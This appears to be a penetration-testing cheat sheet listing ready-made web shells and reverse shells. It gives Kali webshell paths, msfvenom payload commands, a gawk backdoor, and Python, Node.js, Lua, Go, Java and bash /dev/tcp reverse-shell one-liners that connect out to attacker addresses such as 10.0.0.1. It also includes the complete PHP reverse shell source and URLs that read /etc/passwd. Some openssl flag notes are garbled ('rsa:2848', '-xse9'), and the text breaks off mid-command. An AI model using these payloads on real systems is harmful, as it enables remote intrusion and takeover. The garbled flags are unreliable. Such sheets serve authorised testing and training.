The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.
Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80
/usr/share/webshells/ php/simple-backdoor.php
PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple- backdoor.php?cmd=cat+/etc/passwd
/usr/share/webshells/ php/php-backdoor.php
Larger PHP shell, with a text input box for command execution.
The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.
Kali Perl Reverse Shell
Kali perl reverse shell:\
Command
Description
/usr/share/webshells/perl/ perl-reverse-shell.pl
Pen Test Monkey - Perl Reverse Shell
/usr/share/webshells/ perl/perlcmd.cgi
Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
GHAWK
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Powercat
Powercat Bind Shells
powercat -l -p 443 -e cmd.exe
nc 10.11.0.22 443
Powercat Stand-Alone Payloads
In the context of powercat, a payload is a set of powershell instructions as well as the portion of the powercat script itself that only includes the features requested by the user
first we launch a netcat listener in attacker machine:
nc -nvlp 4444
we create a stand-alone reverse shell payload by adding the -g option to the previous powercat command and redirecting the output to a file. This will produce a powershell script that attacker can execute on his machine
The file will contain an encoded string that can be executed using the PowerShell -E (EncodedCommand) option. However, since the -E option was designed as a way to submit complex commands on the command line, the resulting encodedreverseshell.ps1 script can not be executed in the same way as our unencoded payload. Instead, Bob needs to pass the whole encoded string to powershell.exe -E so we copy the whole file and paste it in the console:
powershell.exe -E [code]
Python
for Linux
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
req: initiate a new certificate signing request
-newkey: generate a new private key
rsa:2848: use RSA encryption with a 2,048-bit key length.
-nodes: store the private key without passphrase protection
-keyout: save the key to a file
-xse9: output a self-signed certificate instead of a certificate request
-days: set validity period in days
-out: save the certificate to a file
merge two files to create a usable pem file for socat:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php
msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > phpreverseshell.php
shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.1'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
JAVA
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
one-liner:
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/666;c
Perl
Save this as a CGI file: - you can always just use a command line as well
